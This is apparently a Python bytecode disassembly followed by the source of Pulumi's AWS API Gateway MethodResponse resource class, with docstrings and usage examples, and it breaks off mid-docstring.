POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'response_models' LOAD_FAST response_models CALL_METHOD POP_TOP LOAD_FAST response_parameters LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'response_parameters' LOAD_FAST response_parameters CALL_METHOD POP_TOP LOAD_FAST rest_api LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'rest_api' LOAD_FAST rest_api CALL_METHOD POP_TOP LOAD_FAST status_code LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'status_code' LOAD_FAST status_code CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'http_method' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'http_method' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'resource_id' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'resource_id' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'response_models' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'response_models' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'response_parameters' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'response_parameters' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'rest_api' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'rest_api' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'status_code' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'status_code' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MethodResponse' STORE_NAME __qualname__ LOAD_NAME overload LOAD_CONST (None, None, None, None, None, None, None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME bool BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('resource_name', 'opts', 'http_method', 'resource_id', 'response_models', 'response_parameters', 'rest_api', 'status_code') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab70306030, file "f.py", line 250> LOAD_CONST 'MethodResponse.__init__' MAKE_FUNCTION CALL_FUNCTION STORE_NAME __init__ LOAD_NAME overload LOAD_CONST (None,) LOAD_NAME str LOAD_NAME MethodResponseArgs LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_CONST ('resource_name', 'args', 'opts') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fadb5811c00, file "f.py", line 363> LOAD_CONST 'MethodResponse.__init__' MAKE_FUNCTION CALL_FUNCTION STORE_NAME __init__ LOAD_NAME str LOAD_CONST ('resource_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab821e7030, file "f.py", line 461> LOAD_CONST 'MethodResponse.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (None, None, None, None, None, None, None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME bool BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('resource_name', 'opts', 'http_method', 'resource_id', 'response_models', 'response_parameters', 'rest_api', 'status_code') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object _internal_init at 0x7fab821e7150, file "f.py", line 470> LOAD_CONST 'MethodResponse._internal_init' MAKE_FUNCTION STORE_NAME _internal_init LOAD_NAME staticmethod LOAD_CONST (None, None, None, None, None, None, None) LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME bool BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST 'MethodResponse' LOAD_CONST ('resource_name', 'id', 'opts', 'http_method', 'resource_id', 'response_models', 'response_parameters', 'rest_api', 'status_code', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get at 0x7fab821e7420, file "f.py", line 519> LOAD_CONST 'MethodResponse.get' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'httpMethod' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object http_method at 0x7fab821e74b0, file "f.py", line 561> LOAD_CONST 'MethodResponse.http_method' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME http_method LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'resourceId' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resource_id at 0x7fab821e7540, file "f.py", line 569> LOAD_CONST 'MethodResponse.resource_id' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME resource_id LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'responseModels' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME Optional LOAD_NAME Mapping LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object response_models at 0x7fab821e75d0, file "f.py", line 577> LOAD_CONST 'MethodResponse.response_models' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME response_models LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'responseParameters' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME Optional LOAD_NAME Mapping LOAD_NAME str LOAD_NAME bool BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object response_parameters at 0x7fab821e7660, file "f.py", line 585> LOAD_CONST 'MethodResponse.response_parameters' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME response_parameters LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'restApi' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object rest_api at 0x7fab821e76f0, file "f.py", line 595> LOAD_CONST 'MethodResponse.rest_api' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME rest_api LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'statusCode' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object status_code at 0x7fab821e7780, file "f.py", line 603> LOAD_CONST 'MethodResponse.status_code' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME status_code LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _utilities LOAD_ATTR get_resource_args_opts LOAD_GLOBAL MethodResponseArgs LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions BUILD_TUPLE LOAD_FAST args BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST resource_args STORE_FAST opts LOAD_FAST resource_args LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST __self__ LOAD_ATTR _internal_init LOAD_FAST resource_name LOAD_FAST opts BUILD_TUPLE LOAD_FAST resource_args LOAD_ATTR __dict__ CALL_FUNCTION POP_TOP JUMP_FORWARD to 72 LOAD_FAST __self__ LOAD_ATTR _internal_init LOAD_FAST resource_name BUILD_TUPLE LOAD_FAST args BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_METHOD merge LOAD_GLOBAL _utilities LOAD_METHOD get_resource_opts_defaults CALL_METHOD LOAD_FAST opts CALL_METHOD STORE_FAST opts LOAD_GLOBAL isinstance LOAD_FAST opts LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST 'Expected resource options to be a ResourceOptions instance' CALL_FUNCTION RAISE_VARARGS LOAD_FAST opts LOAD_ATTR id LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST __props__ LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL TypeError LOAD_CONST '__props__ is only valid when passed in combination with a valid opts.id to get an existing resource' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL MethodResponseArgs LOAD_METHOD __new__ LOAD_GLOBAL MethodResponseArgs CALL_METHOD STORE_FAST __props__ LOAD_FAST http_method LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST opts LOAD_ATTR urn POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST "Missing required property 'http_method'" CALL_FUNCTION RAISE_VARARGS LOAD_FAST http_method LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'http_method' STORE_SUBSCR LOAD_FAST resource_id LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST opts LOAD_ATTR urn POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST "Missing required property 'resource_id'" CALL_FUNCTION RAISE_VARARGS LOAD_FAST resource_id LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'resource_id' STORE_SUBSCR LOAD_FAST response_models LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'response_models' STORE_SUBSCR LOAD_FAST response_parameters LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'response_parameters' STORE_SUBSCR LOAD_FAST rest_api LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST opts LOAD_ATTR urn POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST "Missing required property 'rest_api'" CALL_FUNCTION RAISE_VARARGS LOAD_FAST rest_api LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'rest_api' STORE_SUBSCR LOAD_FAST status_code LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST opts LOAD_ATTR urn POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST "Missing required property 'status_code'" CALL_FUNCTION RAISE_VARARGS LOAD_FAST status_code LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'status_code' STORE_SUBSCR LOAD_GLOBAL super LOAD_GLOBAL MethodResponse LOAD_FAST __self__ CALL_FUNCTION LOAD_METHOD __init__ LOAD_CONST 'aws:apigateway/methodResponse:MethodResponse' LOAD_FAST resource_name LOAD_FAST __props__ LOAD_FAST opts CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_METHOD merge LOAD_FAST opts LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_FAST id LOAD_CONST ('id',) CALL_FUNCTION CALL_METHOD STORE_FAST opts LOAD_GLOBAL _MethodResponseState LOAD_METHOD __new__ LOAD_GLOBAL _MethodResponseState CALL_METHOD STORE_FAST __props__ LOAD_FAST http_method LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'http_method' STORE_SUBSCR LOAD_FAST resource_id LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'resource_id' STORE_SUBSCR LOAD_FAST response_models LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'response_models' STORE_SUBSCR LOAD_FAST response_parameters LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'response_parameters' STORE_SUBSCR LOAD_FAST rest_api LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'rest_api' STORE_SUBSCR LOAD_FAST status_code LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'status_code' STORE_SUBSCR LOAD_GLOBAL MethodResponse LOAD_FAST resource_name LOAD_FAST opts LOAD_FAST __props__ LOAD_CONST ('opts', '__props__') CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'http_method' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'resource_id' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'response_models' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'response_parameters' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'rest_api' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'status_code' CALL_METHOD RETURN_VALUE
import copy import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = ["MethodResponseArgs", "MethodResponse"] @pulumi.input_type class MethodResponseArgs: def __init__( __self__, *, http_method: pulumi.Input[str], resource_id: pulumi.Input[str], rest_api: pulumi.Input[str], status_code: pulumi.Input[str], response_models: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, response_parameters: Optional[ pulumi.Input[Mapping[str, pulumi.Input[bool]]] ] = None ): """ The set of arguments for constructing a MethodResponse resource. :param pulumi.Input[str] http_method: The HTTP verb of the method resource (`GET`, `POST`, `PUT`, `DELETE`, `HEAD`, `OPTIONS`, `ANY`). :param pulumi.Input[str] resource_id: The Resource identifier for the method resource. :param pulumi.Input[str] rest_api: The string identifier of the associated REST API. :param pulumi.Input[str] status_code: The method response's status code. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] response_models: A map specifying the model resources used for the response's content type. Response models are represented as a key/value map, with a content type as the key and a Model name as the value. :param pulumi.Input[Mapping[str, pulumi.Input[bool]]] response_parameters: A map specifying required or optional response parameters that API Gateway can send back to the caller. A key defines a method response header name and the associated value is a boolean flag indicating whether the method response parameter is required. The method response header names must match the pattern of `method.response.header.{name}`, where `name` is a valid and unique header name. The response parameter names defined here are available in the integration response to be mapped from an integration response header expressed in `integration.response.header.{name}`, a static value enclosed within a pair of single quotes (e.g., '`application/json'`), or a JSON expression from the back-end response payload in the form of `integration.response.body.{JSON-expression}`, where `JSON-expression` is a valid JSON expression without the `$` prefix.) """ pulumi.set(__self__, "http_method", http_method) pulumi.set(__self__, "resource_id", resource_id) pulumi.set(__self__, "rest_api", rest_api) pulumi.set(__self__, "status_code", status_code) if response_models is not None: pulumi.set(__self__, "response_models", response_models) if response_parameters is not None: pulumi.set(__self__, "response_parameters", response_parameters) @property @pulumi.getter(name="httpMethod") def http_method(self) -> pulumi.Input[str]: """ The HTTP verb of the method resource (`GET`, `POST`, `PUT`, `DELETE`, `HEAD`, `OPTIONS`, `ANY`). """ return pulumi.get(self, "http_method") @http_method.setter def http_method(self, value: pulumi.Input[str]): pulumi.set(self, "http_method", value) @property @pulumi.getter(name="resourceId") def resource_id(self) -> pulumi.Input[str]: """ The Resource identifier for the method resource. """ return pulumi.get(self, "resource_id") @resource_id.setter def resource_id(self, value: pulumi.Input[str]): pulumi.set(self, "resource_id", value) @property @pulumi.getter(name="restApi") def rest_api(self) -> pulumi.Input[str]: """ The string identifier of the associated REST API. """ return pulumi.get(self, "rest_api") @rest_api.setter def rest_api(self, value: pulumi.Input[str]): pulumi.set(self, "rest_api", value) @property @pulumi.getter(name="statusCode") def status_code(self) -> pulumi.Input[str]: """ The method response's status code. """ return pulumi.get(self, "status_code") @status_code.setter def status_code(self, value: pulumi.Input[str]): pulumi.set(self, "status_code", value) @property @pulumi.getter(name="responseModels") def response_models( self, ) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A map specifying the model resources used for the response's content type. Response models are represented as a key/value map, with a content type as the key and a Model name as the value. """ return pulumi.get(self, "response_models") @response_models.setter def response_models( self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] ): pulumi.set(self, "response_models", value) @property @pulumi.getter(name="responseParameters") def response_parameters( self, ) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[bool]]]]: """ A map specifying required or optional response parameters that API Gateway can send back to the caller. A key defines a method response header name and the associated value is a boolean flag indicating whether the method response parameter is required. The method response header names must match the pattern of `method.response.header.{name}`, where `name` is a valid and unique header name. The response parameter names defined here are available in the integration response to be mapped from an integration response header expressed in `integration.response.header.{name}`, a static value enclosed within a pair of single quotes (e.g., '`application/json'`), or a JSON expression from the back-end response payload in the form of `integration.response.body.{JSON-expression}`, where `JSON-expression` is a valid JSON expression without the `$` prefix.) """ return pulumi.get(self, "response_parameters") @response_parameters.setter def response_parameters( self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[bool]]]] ): pulumi.set(self, "response_parameters", value) @pulumi.input_type class _MethodResponseState: def __init__( __self__, *, http_method: Optional[pulumi.Input[str]] = None, resource_id: Optional[pulumi.Input[str]] = None, response_models: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, response_parameters: Optional[ pulumi.Input[Mapping[str, pulumi.Input[bool]]] ] = None, rest_api: Optional[pulumi.Input[str]] = None, status_code: Optional[pulumi.Input[str]] = None ): """ Input properties used for looking up and filtering MethodResponse resources. :param pulumi.Input[str] http_method: The HTTP verb of the method resource (`GET`, `POST`, `PUT`, `DELETE`, `HEAD`, `OPTIONS`, `ANY`). :param pulumi.Input[str] resource_id: The Resource identifier for the method resource. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] response_models: A map specifying the model resources used for the response's content type. Response models are represented as a key/value map, with a content type as the key and a Model name as the value. :param pulumi.Input[Mapping[str, pulumi.Input[bool]]] response_parameters: A map specifying required or optional response parameters that API Gateway can send back to the caller. A key defines a method response header name and the associated value is a boolean flag indicating whether the method response parameter is required. The method response header names must match the pattern of `method.response.header.{name}`, where `name` is a valid and unique header name. The response parameter names defined here are available in the integration response to be mapped from an integration response header expressed in `integration.response.header.{name}`, a static value enclosed within a pair of single quotes (e.g., '`application/json'`), or a JSON expression from the back-end response payload in the form of `integration.response.body.{JSON-expression}`, where `JSON-expression` is a valid JSON expression without the `$` prefix.) :param pulumi.Input[str] rest_api: The string identifier of the associated REST API. :param pulumi.Input[str] status_code: The method response's status code. """ if http_method is not None: pulumi.set(__self__, "http_method", http_method) if resource_id is not None: pulumi.set(__self__, "resource_id", resource_id) if response_models is not None: pulumi.set(__self__, "response_models", response_models) if response_parameters is not None: pulumi.set(__self__, "response_parameters", response_parameters) if rest_api is not None: pulumi.set(__self__, "rest_api", rest_api) if status_code is not None: pulumi.set(__self__, "status_code", status_code) @property @pulumi.getter(name="httpMethod") def http_method(self) -> Optional[pulumi.Input[str]]: """ The HTTP verb of the method resource (`GET`, `POST`, `PUT`, `DELETE`, `HEAD`, `OPTIONS`, `ANY`). """ return pulumi.get(self, "http_method") @http_method.setter def http_method(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "http_method", value) @property @pulumi.getter(name="resourceId") def resource_id(self) -> Optional[pulumi.Input[str]]: """ The Resource identifier for the method resource. """ return pulumi.get(self, "resource_id") @resource_id.setter def resource_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "resource_id", value) @property @pulumi.getter(name="responseModels") def response_models( self, ) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A map specifying the model resources used for the response's content type. Response models are represented as a key/value map, with a content type as the key and a Model name as the value. """ return pulumi.get(self, "response_models") @response_models.setter def response_models( self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] ): pulumi.set(self, "response_models", value) @property @pulumi.getter(name="responseParameters") def response_parameters( self, ) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[bool]]]]: """ A map specifying required or optional response parameters that API Gateway can send back to the caller. A key defines a method response header name and the associated value is a boolean flag indicating whether the method response parameter is required. The method response header names must match the pattern of `method.response.header.{name}`, where `name` is a valid and unique header name. The response parameter names defined here are available in the integration response to be mapped from an integration response header expressed in `integration.response.header.{name}`, a static value enclosed within a pair of single quotes (e.g., '`application/json'`), or a JSON expression from the back-end response payload in the form of `integration.response.body.{JSON-expression}`, where `JSON-expression` is a valid JSON expression without the `$` prefix.) """ return pulumi.get(self, "response_parameters") @response_parameters.setter def response_parameters( self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[bool]]]] ): pulumi.set(self, "response_parameters", value) @property @pulumi.getter(name="restApi") def rest_api(self) -> Optional[pulumi.Input[str]]: """ The string identifier of the associated REST API. """ return pulumi.get(self, "rest_api") @rest_api.setter def rest_api(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "rest_api", value) @property @pulumi.getter(name="statusCode") def status_code(self) -> Optional[pulumi.Input[str]]: """ The method response's status code. """ return pulumi.get(self, "status_code") @status_code.setter def status_code(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "status_code", value) class MethodResponse(pulumi.CustomResource): @overload def __init__( __self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, http_method: Optional[pulumi.Input[str]] = None, resource_id: Optional[pulumi.Input[str]] = None, response_models: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, response_parameters: Optional[ pulumi.Input[Mapping[str, pulumi.Input[bool]]] ] = None, rest_api: Optional[pulumi.Input[str]] = None, status_code: Optional[pulumi.Input[str]] = None, __props__=None, ): """ Provides an HTTP Method Response for an API Gateway Resource. More information about API Gateway method responses can be found in the [Amazon API Gateway Developer Guide](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-method-settings-method-response.html). ```python import pulumi import pulumi_aws as aws my_demo_api = aws.apigateway.RestApi("myDemoAPI", description="This is my API for demonstration purposes") my_demo_resource = aws.apigateway.Resource("myDemoResource", rest_api=my_demo_api.id, parent_id=my_demo_api.root_resource_id, path_part="mydemoresource") my_demo_method = aws.apigateway.Method("myDemoMethod", rest_api=my_demo_api.id, resource_id=my_demo_resource.id, http_method="GET", authorization="NONE") my_demo_integration = aws.apigateway.Integration("myDemoIntegration", rest_api=my_demo_api.id, resource_id=my_demo_resource.id, http_method=my_demo_method.http_method, type="MOCK") response200 = aws.apigateway.MethodResponse("response200", rest_api=my_demo_api.id, resource_id=my_demo_resource.id, http_method=my_demo_method.http_method, status_code="200") ``` ```python import pulumi import json import pulumi_aws as aws my_demo_api = aws.apigateway.RestApi("myDemoAPI", description="This is my API for demonstration purposes") my_demo_resource = aws.apigateway.Resource("myDemoResource", rest_api=my_demo_api.id, parent_id=my_demo_api.root_resource_id, path_part="mydemoresource") my_demo_method = aws.apigateway.Method("myDemoMethod", rest_api=my_demo_api.id, resource_id=my_demo_resource.id, http_method="GET", authorization="NONE") my_demo_integration = aws.apigateway.Integration("myDemoIntegration", rest_api=my_demo_api.id, resource_id=my_demo_resource.id, http_method=my_demo_method.http_method, type="MOCK") my_demo_response_model = aws.apigateway.Model("myDemoResponseModel", rest_api=my_demo_api.id, description="API response for MyDemoMethod", content_type="application/json", schema=json.dumps({ "$schema": "http://json-schema.org/draft-04/schema#", "title": "MyDemoResponse", "type": "object", "properties": { "Message": { "type": "string", }, }, })) response200 = aws.apigateway.MethodResponse("response200", rest_api=my_demo_api.id, resource_id=my_demo_resource.id, http_method=my_demo_method.http_method, status_code="200", response_models={ "application-json": "MyDemoResponseModel", }, response_parameters={ "method.response.header.Content-Type": False, "method-response-header.X-My-Demo-Header": False, }) ``` Using `pulumi import`, import `aws_api_gateway_method_response` using `REST-API-ID/RESOURCE-ID/HTTP-METHOD/STATUS-CODE`. For example: ```sh $ pulumi import aws:apigateway/methodResponse:MethodResponse example 12345abcde/67890fghij/GET/200 ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] http_method: The HTTP verb of the method resource (`GET`, `POST`, `PUT`, `DELETE`, `HEAD`, `OPTIONS`, `ANY`). :param pulumi.Input[str] resource_id: The Resource identifier for the method resource. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] response_models: A map specifying the model resources used for the response's content type. Response models are represented as a key/value map, with a content type as the key and a Model name as the value. :param pulumi.Input[Mapping[str, pulumi.Input[bool]]] response_parameters: A map specifying required or optional response parameters that API Gateway can send back to the caller. A key defines a method response header name and the associated value is a boolean flag indicating whether the method response parameter is required. The method response header names must match the pattern of `method.response.header.{name}`, where `name` is a valid and unique header name. The response parameter names defined here are available in the integration response to be mapped from an integration response header expressed in `integration.response.header.{name}`, a static value enclosed within a pair of single quotes (e.g., '`application/json'`), or a JSON expression from the back-end response payload in the form of `integration.response.body.{JSON-expression}`, where `JSON-expression` is a valid JSON 